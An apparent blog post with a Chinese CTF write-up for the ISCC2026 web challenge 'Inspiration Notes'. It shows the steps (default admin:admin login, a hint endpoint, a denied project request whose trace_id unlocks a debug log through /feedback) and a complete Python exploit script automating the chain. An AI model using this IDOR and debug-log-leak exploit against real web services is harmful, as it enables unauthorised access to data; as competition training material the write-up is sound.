Web-灵感笔记

ISCC2026 WriteUp 提交模板

Web-灵感笔记

你是一个自由撰稿人,使用"灵感笔记"云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题...找到隐藏的Flag!
题目地址:39.105.213.28:5000

解题思路

访问链接好是个登录窗口,测试了几下发现输入admin:admin登录时,会出现一些flag接口,如下:(这个是使用雪瞳插件扫描出来的)

image.png

访问- /project/flag-project-001发现:

image.png

啥都没有

访问admin接口:http://39.105.213.28:5000/api/admin/hint
返回:

{"hint":"=== API Endpoint Hint ===\n
POST /api/v1/project/detail HTTP/1.1\n
Host: localhost:5000\n
Content-Type: application/json\n\n
{\"project_id\": \"<project-id>\"}"}`

很显而易见了,根据提示发送POST请求
  • {"project_id":"flag-project-001"}

返回:

{"error":"\u8bbf\u95ee\u88ab\u62d2\u7edd","message":"\u60a8\u65e0\u6743\u67e5\u770b\u6b64\u7b14\u8bb0","trace_id":"5179a54c-de42-46ed-a90a-e14f9b678eca"}

然后在这个接口:http://39.105.213.28:5000/feedback
发现了和ID有关内容,发现后 trace_id参数

测试后发现会返回对应日志,解码后得到flag。

image.png

FLAG: ISCC{c4refu11_debug_tr4ce_l34k_1d0r}

Exp

#!/usr/bin/env python3
import re
import json
import html
import binascii
import requests

# 基础配置
TARGET_HOST = "http://39.105.213.28:5000"
ADMIN_ACCOUNT = "admin"
ADMIN_PASSWORD = "admin"

# ==============================================
# 工具函数封装(全步骤打印)
# ==============================================
def create_session():
    print("[*] 创建 HTTP 会话成功")
    return requests.Session()

def admin_login(session_obj):
    print("[*] 开始注册管理员账号...")
    session_obj.get(f"{TARGET_HOST}/register", timeout=10)
    session_obj.post(
        f"{TARGET_HOST}/register",
        data={"username": ADMIN_ACCOUNT, "password": ADMIN_PASSWORD},
        timeout=10
    )
    print("[+] 注册完成")

    print("[*] 开始登录管理员账号...")
    session_obj.get(f"{TARGET_HOST}/login", timeout=10)
    session_obj.post(
        f"{TARGET_HOST}/login",
        data={"username": ADMIN_ACCOUNT, "password": ADMIN_PASSWORD},
        timeout=10
    )
    print("[+] 登录请求发送完成")

def check_admin_status(session_obj):
    print("[*] 正在验证管理员权限...")
    dashboard_html = session_obj.get(f"{TARGET_HOST}/dashboard", timeout=10).text
    status = 'id="is-admin" value="true"' in dashboard_html
    if status:
        print("[+] 管理员权限验证成功")
    else:
        print("[-] 管理员权限验证失败")
    return status

def get_flag_project_id(dashboard_html):
    print("[*] 从 dashboard 提取 flag 项目ID...")
    regex_result = re.search(r"/project/(flag-project-[0-9]+)", dashboard_html)
    if regex_result:
        project_id = regex_result.group(1)
        print(f"[+] 成功提取项目ID: {project_id}")
        return project_id
    else:
        print("[-] 未找到 flag 项目ID")
        return None

def get_trace_id(session_obj, proj_id):
    print(f"[*] 访问受限项目 {proj_id} 尝试获取 trace_id...")
    resp = session_obj.post(
        f"{TARGET_HOST}/api/v1/project/detail",
        json={"project_id": proj_id},
        timeout=10
    )
    trace_id = resp.json().get("trace_id")
    if trace_id:
        print(f"[+] 获取 trace_id: {trace_id}")
    else:
        print("[-] 获取 trace_id 失败")
    return trace_id

def get_debug_log(session_obj, t_id):
    print(f"[*] 通过 feedback 获取 trace_id={t_id} 对应的调试日志...")
    feedback_resp = session_obj.post(
        f"{TARGET_HOST}/feedback",
        data={"trace_id": t_id},
        timeout=10
    ).text

    log_block = re.search(r"<pre[^>]*>(.*?)</pre>", feedback_resp, re.I | re.S)
    if not log_block:
        print("[-] 未找到日志块")
        return None
    
    print("[+] 成功获取调试日志,开始解析...")
    return json.loads(html.unescape(log_block.group(1)))

def extract_flag_from_hex(log_data):
    print("[*] 从堆栈中提取十六进制数据...")
    stack_info = log_data.get("stack_trace", "")
    hex_result = re.search(r"Object:\s*([0-9a-fA-F]+)", stack_info)
    if not hex_result:
        print("[-] 未找到十六进制对象")
        return None

    hex_str = hex_result.group(1)
    print(f"[+] 提取到十六进制数据: {hex_str[:30]}...")
    
    raw_data = binascii.unhexlify(hex_str)
    flag_result = re.search(rb"ISCC\{[^}]+\}", raw_data)
    
    if flag_result:
        flag = flag_result.group(0).decode()
        return flag
    else:
        print("[-] 未匹配到 flag 格式")
        return None

# ==============================================
# 主执行流程
# ==============================================
if __name__ == "__main__":
    print("=" * 60)
    print("               CTF FLAG 获取脚本启动")
    print("=" * 60)

    # 1. 创建会话
    sess = create_session()

    # 2. 登录管理员
    admin_login(sess)
    if not check_admin_status(sess):
        print("[-] 管理员登录失败,程序退出")
        exit(1)

    # 3. 获取dashboard内容
    print("[*] 读取管理员控制台页面...")
    dashboard_page = sess.get(f"{TARGET_HOST}/dashboard").text

    # 4. 获取flag项目ID
    project_oid = get_flag_project_id(dashboard_page)
    if not project_oid:
        exit(1)

    # 5. 获取报错追踪ID
    trace = get_trace_id(sess, project_oid)
    if not trace:
        exit(1)

    # 6. 获取调试日志
    log_content = get_debug_log(sess, trace)
    if not log_content:
        exit(1)

    # 7. 提取并输出flag
    final_flag = extract_flag_from_hex(log_content)
    if final_flag:
        print("\n" + "="*60)
        print("[✅] 成功获取 FLAG!")
        print(f"FLAG: {final_flag}")
        print("="*60 + "\n")
    else:
        print("[-] 未找到flag")
posted @ 2026-05-19 16:32  MillionMind  阅读(4)  评论(0)    收藏  举报